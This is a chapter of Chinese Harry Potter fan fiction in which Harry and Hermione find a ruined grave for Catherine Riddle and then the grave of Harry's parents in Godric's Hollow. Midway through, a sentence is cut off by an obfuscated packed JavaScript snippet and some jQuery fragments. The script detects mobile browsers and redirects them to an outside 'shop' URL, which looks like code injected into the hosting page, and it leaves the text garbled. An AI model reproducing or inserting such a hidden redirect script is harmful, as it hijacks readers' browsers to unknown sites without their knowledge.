西里斯是不赞成哈利去戈德里克山谷的——如果他知道哈利有这个计划的话。事情是源于哈利三人和福洛林先生的对话，福洛林认为最好的知道邓布利多的过去的方法，就是去戈德里克山谷找他曾经的老师——巴希达·巴沙特女士。她不仅是历史学家，还是魔法史课本的编写者。


    尽管哈利现在才五年级，他们在有求必应屋DA训练的时候就已经学会了幻影移形，毕竟有求必应屋会给他们提供合适的场地，而罗恩因为没有熟悉幻影移形而伤了胳膊，被福洛林带回了陋居。


    *


    与此同时，圣诞节，戈德里克山谷。


    “我能确定，”赫敏说。她的视线越过教堂，“他们……他们会在那里，不是吗？你的妈妈和爸爸？我能看到教堂后面的墓地。”


    哈利一阵颤栗，感觉超越了兴奋，更像是恐惧。现在已是如此接近，他怀疑自己究竟是不是真的想看到。也许赫敏能够理解他的感受，因为她正牵起他的手，拉着他前进，这还是第一次。然而经过广场时，她突然停住了。


    “哈利，看！”


    赫敏指着那块战争纪念碑。当他们经过时，纪念碑消失了，原来刻满人名的方尖石塔被一组三人雕像所代替：一个男人，头发乱蓬蓬的，带着眼镜；一个长发女人，友好和蔼，美丽优雅；还有一个男婴，坐在她的怀中。他们头上盖满了雪花，像是戴了白色的绒帽。


    哈利靠的更近些，凝视着父母的脸。他从来没有想象过这里会有一组雕像……看到自己石质的面容是多么奇怪的一件事——一个额头上没有疤痕的快乐的婴儿。


    “走吧，”当他觉得已经得到满足时，哈利说道，然后他们继续走向教堂。当他们穿过大路时，他回头看了看，那组雕像又一次变成了战争纪念碑。


    随着他们接近教堂，歌声更加响亮。哈利的喉咙发紧，这歌声让他越发想念霍格沃茨，想念躲在盔甲里皮皮鬼唱的粗鲁的颂歌，想念礼堂里的十二棵圣诞树，想念戴着从彩包爆竹得来的秃鹫女帽的邓布利多，想念穿着手织毛衣的罗恩……


    墓地入口处有一个窄门。赫敏尽可能轻地推开它，然后他们侧身穿了过去。两旁通往教堂大门的小路上积雪厚实，从没有人踏上去过。他们穿过雪地，绕着房屋走着，躲在明亮窗户下的阴影里，一路留下深深的脚印。


    教堂后面，是一排又一排覆雪的墓碑，透过彩色玻璃，红色金色绿色的光斑打在淡蓝色的雪地上，哈利抓紧上衣口袋里的魔杖，走向一座坟墓。


    “看这里，是艾博家族的，可能与汉娜家有什么长远的联系！”


    “拜托你小点声。”赫敏低声乞求道。


    他们逐渐向墓地深处跋涉，身后留下深暗的足迹，时而停下来看看墓碑上的文字，并不时从眼角瞟一眼周围黑暗的景物，确保没有人跟踪。


    他们时不时地会找到一些认识的姓氏，比如艾博，曾在霍格沃茨见到过。有时墓园里会同时出现几代巫师家族人员的名字：哈利可以通过日期来辨别这个家族是否已经灭绝，或者当前成员是否已经从戈德里克山谷移居到其他地方。他们还看到了如丽塔·斯基特所说的那样，部分邓布利多家族的成员也被埋葬在这里。


    他们走的越来越远，并且每次他到达一块新墓石时，哈利总会感到一点忧惧和期盼。


    “这里！”片刻后赫敏再一次在黑暗中尖叫起来。“噢，不，对不起。我以为它指的是波特。”


    她在一块长满苔藓的破碎的墓碑上擦拭着，皱着眉头低头研究了一会儿。


    “哈利，再回来一下。”


    哈利不愿再被牵着鼻子走了，但还是勉强穿过雪地向她走去。


    “什么东西？”


    “哈利，你看这是谁？可是怎么会——””


    这块墓碑在众多墓碑中不算很古老，近几十年都未有人来打扫过，风化得名字有些模糊不清，而且，似乎在某个时间被人为地打碎了。


    “凯瑟琳·里德尔！？”待哈利看清上面的字时，他也不由得倒抽了一口气。“怎么会？谁为她立的碑？


    尽管现在一想起凯瑟琳依旧让哈利觉得难受，但是他还是不由自主地凑近了墓碑——墓碑太破旧了，旧到让人难以认清那里曾经刻了些什么，他勉强认出了凯瑟琳的名字，还有一句墓志铭——


    【战胜默默然的无名英雄，战胜黑魔王的无名英雄，将永远被我铭记】


    “这里的‘我’会是谁呢？”哈利喃喃道，“邓布利多和我讲过她的过去，肯定不是伏地魔，难道是海格？如果不是他，还会是谁呢？”


    “这个墓碑下面肯定是空的。”赫敏说，“因为凯瑟琳很早以前就被雷古勒斯复活了——难道是雷古勒斯？不对，那时候距离他出生都还有十几年……”


    两人在这个不起眼的、长满青苔且破碎的墓碑前站了一会儿。直到哈利像是要克服什么复杂的情绪，艰难地提出“我要去找我的父母了，好吧？”


    然后他再一次出发，留下赫敏一个人蹲在凯瑟琳的旧墓碑旁。


    黑暗和寂静似乎是突然之间降临的。哈利担心的向四周看看，怀疑是摄魂怪的侵袭。然后意识到圣诞颂歌已经结束，喋喋不休的谈话者与


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377410|135277||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    做礼拜者正渐渐远去，教堂里刚刚熄灭了灯火。


    接着赫敏的声音再次从黑暗中传来，在几码外尖利而清晰。


    “哈利，他们在这儿……就在这儿。”


    哈利从她的音调里判断出这一次是他的父母：他再次向她走去，觉得有什么沉重的东西正在挤压着他的胸膛，就像邓布利多刚死去时一样，悲痛真实地重压在心肺上。


    这块墓碑仅在坎德拉和阿莉安娜的墓碑两排之后，由白色大理石制成，如同邓布利多的坟墓，这使得墓碑更容易看得清楚，而且它似乎在黑暗中闪闪发亮。


    詹姆·波特


    生于1960.03.27


    卒于1981.10.31


    莉莉·波特


    生于1960.01.30


    死于1981.10.31


    【最后将要被击败的敌人就是死亡】


    哈利缓慢的读着，好像他只有一次机会理解这些词的意思。然后他大声读出了最后一句话。


    “最后将要被击败的敌人就是死亡……”一个可怕的念头突然闪过脑海，带着一丝惊恐，“这会不会是一个食死徒的主意？为什么它们在这儿？”


    “这并不是食死徒所谓的战胜死亡，哈利。”赫敏温和的说道。


    “它的意思是……你知道……生命是可以超越死亡的。有的人，虽死犹生。”


    但是他们已经失去了生命，哈利想。只有他们的儿子依旧活着，躲在隐形衣下面，逃避着命定的死亡……他宁愿和父母一起被葬在大雪之中。


    正想着，他的视线落在了几乎被大雪掩埋的墓碑上。


    “赫敏，你看到了吗？似乎前不久刚有人来过。”他小声对赫敏说道。


    赫敏凑了过来，然后她也发现了放在墓碑上的百合。


    “我还以为没有人会来这个……这个……”哈利的声音有些颤抖，他环顾四周，大口大口地吞咽着夜晚的空气，试图镇定下来，控制住自己的情绪。墓园里的所有植物都凋零冻僵了，只有已经被鹅毛大雪覆盖的百合表示这里曾有人记得。


    赫敏抽出了魔杖，在空气里划了一个圈，然后一圈圣诞玫瑰在他们面前开放。哈利拿住它，放在父母的坟上。


    他们又站了一会儿，然后一旦站起来，哈利就想离开了：他不认为自己能在那里继续站下去。他把手臂放在赫敏肩头，赫敏搂住他的腰，然后他们一起安静的转身，走过雪地，走过邓布利多的母亲和妹妹的坟墓，走过那块被打碎的凯瑟琳的坟墓，返回黑暗的教堂和那扇已经看不见了的窄门。